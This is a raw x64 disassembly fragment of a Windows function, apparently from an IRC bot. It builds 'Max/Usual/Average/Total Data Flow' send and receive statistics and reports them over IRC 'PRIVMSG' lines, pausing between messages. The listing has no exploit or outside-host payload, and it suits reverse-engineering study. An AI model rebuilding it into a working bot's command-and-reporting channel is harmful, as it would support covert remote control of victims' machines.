mov dword [rsp + 0x54], r14d
mov dword [rsp + 0x44], r14d
xchg dword [rsp + 0x50], eax
mov ecx, dword [0x14002e1d0]
mov r8d, 0x80
xchg dword [rsp + 0x48], ecx
mov eax, dword [rsp + 0x50]
mov edi, dword [rsp + 0x48]
cmp eax, edi
lea rcx, [rsp + 0x180]
cmovg edi, eax
xor edx, edx
mov dword [rsp + 0x50], edi
call fcn.140013cc0
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8d, 0x80
call fcn.140013cc0
lea r8, [0x140022670]
lea rcx, [rsp + 0x180]
mov r9d, edi
mov edx, 0x7f
call fcn.140013ac4
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x180]
lea rdx, [rsp + 0x100]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
movsxd rcx, dword [rsp + 0x50]
call fcn.140001bc0
cmp dword [rsp + 0x50], r14d
jle 0x140007983
test esi, esi
jne 0x140007958
lea r9, [rsp + 0x100]
lea r8, str.Max_Data_Flow_RECV_______:__s___S_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x1400079a0
lea rax, [rsp + 0x100]
lea r8, str.PRIVMSG__s_:Max_Data_Flow_RECV__________:__s___S_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov qword [rsp + 0x20], rax
call fcn.140013ac4
jmp 0x1400079d6
test esi, esi
jne 0x1400079ba
lea r8, str.Max_Data_Flow_RECV_______:_No_Data_Flow_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x1400079f9
lea r8, str.PRIVMSG__s_:Max_Data_Flow_RECV__________:_No_Data_Flow_r_n_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x14002e1d8]
mov r8d, 0x80
xchg dword [rsp + 0x54], eax
mov ecx, dword [0x14002e1e0]
xchg dword [rsp + 0x44], ecx
mov eax, dword [rsp + 0x54]
mov edi, dword [rsp + 0x44]
cmp eax, edi
lea rcx, [rsp + 0x180]
cmovg edi, eax
xor edx, edx
mov dword [rsp + 0x54], edi
call fcn.140013cc0
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8d, 0x80
call fcn.140013cc0
lea r8, [0x140022670]
lea rcx, [rsp + 0x180]
mov r9d, edi
mov edx, 0x7f
call fcn.140013ac4
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x180]
lea rdx, [rsp + 0x100]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
movsxd rcx, dword [rsp + 0x54]
call fcn.140001bc0
cmp dword [rsp + 0x54], r14d
jle 0x140007ae6
test esi, esi
jne 0x140007abb
lea r9, [rsp + 0x100]
lea r8, str.Max_Data_Flow_SENT_______:__s___S_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140007b03
lea rax, [rsp + 0x100]
lea r8, str.PRIVMSG__s_:Max_Data_Flow_SENT__________:__s___S_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov qword [rsp + 0x20], rax
call fcn.140013ac4
jmp 0x140007b39
test esi, esi
jne 0x140007b1d
lea r8, str.Max_Data_Flow_SENT_______:_No_Data_Flow_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x140007b5c
lea r8, str.PRIVMSG__s_:Max_Data_Flow_SENT__________:_No_Data_Flow_r_n_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x180]
xor edx, edx
mov r8d, 0x80
call fcn.140013cc0
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8d, 0x80
call fcn.140013cc0
mov r9d, dword [rsp + 0x48]
lea r8, [0x140022670]
lea rcx, [rsp + 0x180]
mov edx, 0x7f
call fcn.140013ac4
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x180]
lea rdx, [rsp + 0x100]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
movsxd rcx, dword [rsp + 0x48]
call fcn.140001bc0
cmp dword [rsp + 0x48], r14d
jle 0x140007c26
test esi, esi
jne 0x140007bfb
lea r9, [rsp + 0x100]
lea r8, str.Usual_Data_Flow_RECV_____:__s___S_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140007c43
lea rax, [rsp + 0x100]
lea r8, str.PRIVMSG__s_:Usual_Data_Flow_RECV________:__s___S_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov qword [rsp + 0x20], rax
call fcn.140013ac4
jmp 0x140007c79
test esi, esi
jne 0x140007c5d
lea r8, str.Usual_Data_Flow_RECV_____:_No_Data_Flow_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x140007c9c
lea r8, str.PRIVMSG__s_:Usual_Data_Flow_RECV________:_No_Data_Flow_r_n_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x180]
xor edx, edx
mov r8d, 0x80
call fcn.140013cc0
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8d, 0x80
call fcn.140013cc0
mov r9d, dword [rsp + 0x44]
lea r8, [0x140022670]
lea rcx, [rsp + 0x180]
mov edx, 0x7f
call fcn.140013ac4
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x180]
lea rdx, [rsp + 0x100]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
movsxd rcx, dword [rsp + 0x44]
call fcn.140001bc0
cmp dword [rsp + 0x44], r14d
jle 0x140007d66
test esi, esi
jne 0x140007d3b
lea r9, [rsp + 0x100]
lea r8, str.Usual_Data_Flow_SENT_____:__s___S_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140007d83
lea rax, [rsp + 0x100]
lea r8, str.PRIVMSG__s_:Usual_Data_Flow_SENT________:__s___S_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov qword [rsp + 0x20], rax
call fcn.140013ac4
jmp 0x140007db9
test esi, esi
jne 0x140007d9d
lea r8, str.Usual_Data_Flow_SENT_____:_No_Data_Flow_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x140007ddc
lea r8, str.PRIVMSG__s_:Usual_Data_Flow_SENT________:_No_Data_Flow_r_n_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rsp + 0x601]
mov byte [rsp + 0x600], r14b
lea r8d, [rdx + 0x7f]
call fcn.140013cc0
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
test esi, esi
jne 0x140007e2b
lea r8, str.Average_Data_Flow________:_No_Data_Flow_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140007e47
lea r8, str.PRIVMSG__s_:Average_Data_Flow___________:_No_Data_Flow_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
lea rcx, [rsp + 0x600]
mov edx, 0x80
call fcn.140002460
test eax, eax
je 0x140007ead
test esi, esi
jne 0x140007e84
lea r9, [rsp + 0x600]
lea r8, str.Average_Data_Flow________:__s_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140007eb1
lea rax, [rsp + 0x600]
lea r8, str.PRIVMSG__s_:Average_Data_Flow___________:__s_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov qword [rsp + 0x20], rax
call fcn.140013ac4
test esi, esi
jne 0x140007ecb
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x140007eee
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea rcx, [0x14002dac8]
mov byte [rsp + 0xd8], r14b
mov qword [rsp + 0xd9], rax
mov qword [rsp + 0xe1], rax
mov qword [rsp + 0xe9], rax
mov dword [rsp + 0xf1], eax
mov word [rsp + 0xf5], ax
mov byte [rsp + 0xf7], al
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r12, qword [0x14002e1c0]
lea rcx, [0x14002dac8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rsp + 0x180]
xor edx, edx
mov r8d, 0x80
call fcn.140013cc0
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf0], rcx
lea rcx, [rsp + 0x100]
mov r8d, 0x80
call fcn.140013cc0
lea rcx, [rsp + 0x180]
mov r8, r12
mov edx, 0x80
call fcn.140001a90
test eax, eax
jne 0x140007fc6
lea r8, [0x140022670]
lea edx, [rax + 0x7f]
lea rcx, [rsp + 0x180]
mov r9, r12
call fcn.140013ac4
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x180]
repne scasb al, byte [rdi]
lea rdx, [rsp + 0x100]
not rcx
lea r8, [rcx - 1]
mov rcx, r12
call fcn.140001bc0
lea r8, [rsp + 0xd8]
mov r9d, 0x20
mov edx, r13d
mov rcx, r12
call fcn.1400019e0
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
test r12, r12
jle 0x14000809f
test esi, esi
jne 0x140008067
lea rax, [rsp + 0xd8]
lea r9, [rsp + 0x100]
lea r8, str.Total_Data_Flow__________:__s_____s_r_n_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
mov qword [rsp + 0x20], rax
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
jmp 0x140008109
lea rax, [rsp + 0xd8]
lea r8, str.PRIVMSG__s_:Total_Data_Flow_____________:__s_____s_r_n_r_n
lea rcx, [rsp + 0x200]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x100]
mov r9, rbp
mov edx, 0x3ff
mov qword [rsp + 0x20], rax
call fcn.140013ac4
jmp 0x1400080ea
test esi, esi
jne 0x1400080ce
lea r8, str.Total_Data_Flow__________:_No_Data_Flow_r_n_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
jmp 0x140008109
lea r8, str.PRIVMSG__s_:Total_Data_Flow_____________:_No_Data_Flow_r_n_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
movaps xmm6, xmmword [rsp + 0x8b0]
mov rcx, qword [rsp + 0x8a0]
xor rcx, rsp
call fcn.1400135f0
mov rbx, qword [rsp + 0x910]
add rsp, 0x8c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret